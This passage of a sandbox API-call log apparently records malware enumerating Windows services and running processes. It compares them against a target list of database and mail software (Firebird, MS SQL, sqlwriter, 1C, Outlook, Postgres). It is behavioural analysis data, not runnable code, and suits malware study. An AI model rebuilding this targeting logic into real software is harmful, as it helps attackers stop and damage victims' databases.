(lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0223.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0223.900] lstrlenW (lpString="Netman") returned 6 [0223.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0223.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0223.900] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0223.900] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0223.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0223.900] lstrlenW (lpString="netprofm") returned 8 [0223.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0223.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0223.900] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0223.900] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0223.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0223.901] lstrlenW (lpString="NlaSvc") returned 6 [0223.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0223.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0223.901] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0223.901] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0223.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0223.901] lstrlenW (lpString="nsi") returned 3 [0223.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0223.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0223.901] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0223.901] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0223.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0223.901] lstrlenW (lpString="PcaSvc") returned 6 [0223.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0223.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0223.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0223.901] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0223.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0223.901] lstrlenW (lpString="PlugPlay") returned 8 [0223.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0223.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0223.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0223.901] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0223.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0223.901] lstrlenW (lpString="Power") returned 5 [0223.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0223.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0223.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0223.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0223.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0223.901] lstrlenW (lpString="ProfSvc") returned 7 [0223.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0223.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0223.901] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0223.901] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0223.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0223.901] lstrlenW (lpString="RpcEptMapper") returned 12 [0223.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.901] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0223.901] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0223.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0223.901] lstrlenW (lpString="RpcSs") returned 5 [0223.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0223.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0223.901] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0223.901] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0223.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0223.902] lstrlenW (lpString="SamSs") returned 5 [0223.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0223.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0223.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0223.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0223.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0223.902] lstrlenW (lpString="Schedule") returned 8 [0223.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0223.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0223.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0223.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0223.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0223.902] lstrlenW (lpString="SENS") returned 4 [0223.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0223.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0223.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0223.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0223.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0223.902] lstrlenW (lpString="ShellHWDetection") returned 16 [0223.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.902] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0223.902] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0223.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0223.902] lstrlenW (lpString="Spooler") returned 7 [0223.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0223.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0223.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0223.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0223.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0223.902] lstrlenW (lpString="sppsvc") returned 6 [0223.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0223.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0223.902] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0223.902] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0223.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0223.902] lstrlenW (lpString="swprv") returned 5 [0223.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0223.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0223.902] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0223.902] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0223.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0223.903] lstrlenW (lpString="SysMain") returned 7 [0223.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0223.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0223.903] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0223.903] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0223.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0223.903] lstrlenW (lpString="Themes") returned 6 [0223.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0223.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0223.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0223.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0223.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0223.903] lstrlenW (lpString="TrkWks") returned 6 [0223.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0223.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0223.903] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0223.903] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0223.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0223.903] lstrlenW (lpString="UxSms") returned 5 [0223.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0223.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0223.903] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0223.903] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0223.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0223.903] lstrlenW (lpString="VSS") returned 3 [0223.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0223.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0223.903] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0223.903] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0223.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0223.903] lstrlenW (lpString="WdiServiceHost") returned 14 [0223.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0223.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0223.903] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0223.903] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0223.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0223.903] lstrlenW (lpString="WdiSystemHost") returned 13 [0223.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0223.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0223.903] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0223.903] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0223.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0223.903] lstrlenW (lpString="WinDefend") returned 9 [0223.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0223.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0223.904] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0223.904] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0223.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0223.904] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0223.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0223.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0223.904] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0223.904] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0223.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0223.904] lstrlenW (lpString="Winmgmt") returned 7 [0223.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0223.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0223.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0223.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0223.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0223.904] lstrlenW (lpString="wscsvc") returned 6 [0223.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0223.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0223.904] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0223.904] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0223.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0223.904] lstrlenW (lpString="wuauserv") returned 8 [0223.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0223.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0223.904] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0223.904] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0223.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0223.904] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0223.906] Process32FirstW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.906] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.907] lstrlenW (lpString="System") returned 6 [0223.907] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0223.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0223.907] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0223.907] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0223.907] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.908] lstrlenW (lpString="smss.exe") returned 8 [0223.908] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.908] lstrlenW (lpString="csrss.exe") returned 9 [0223.908] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.909] lstrlenW (lpString="wininit.exe") returned 11 [0223.909] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.910] lstrlenW (lpString="csrss.exe") returned 9 [0223.910] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.910] lstrlenW (lpString="winlogon.exe") returned 12 [0223.910] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.911] lstrlenW (lpString="services.exe") returned 12 [0223.911] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.912] lstrlenW (lpString="lsass.exe") returned 9 [0223.912] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0223.912] lstrlenW (lpString="lsm.exe") returned 7 [0223.912] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.913] lstrlenW (lpString="svchost.exe") returned 11 [0223.913] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.914] lstrlenW (lpString="svchost.exe") returned 11 [0223.914] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.914] lstrlenW (lpString="svchost.exe") returned 11 [0223.914] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.958] lstrlenW (lpString="svchost.exe") returned 11 [0223.959] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.959] lstrlenW (lpString="svchost.exe") returned 11 [0223.959] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.960] lstrlenW (lpString="audiodg.exe") returned 11 [0223.960] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.961] lstrlenW (lpString="svchost.exe") returned 11 [0223.961] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.961] lstrlenW (lpString="svchost.exe") returned 11 [0223.961] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.962] lstrlenW (lpString="dwm.exe") returned 7 [0223.962] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.962] lstrlenW (lpString="explorer.exe") returned 12 [0223.962] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.963] lstrlenW (lpString="spoolsv.exe") returned 11 [0223.963] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0223.964] lstrlenW (lpString="taskhost.exe") returned 12 [0223.964] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.964] lstrlenW (lpString="svchost.exe") returned 11 [0223.964] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0223.965] lstrlenW (lpString="taskeng.exe") returned 11 [0223.965] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0223.966] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0223.966] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0223.966] lstrlenW (lpString="nova.exe") returned 8 [0223.966] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0223.967] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0223.967] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0223.967] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0223.967] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0223.968] lstrlenW (lpString="picks blair.exe") returned 15 [0223.968] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0223.969] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0223.969] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0223.969] lstrlenW (lpString="principal.exe") returned 13 [0223.969] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0223.970] lstrlenW (lpString="transportation.exe") returned 18 [0223.970] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0223.971] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0223.971] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, 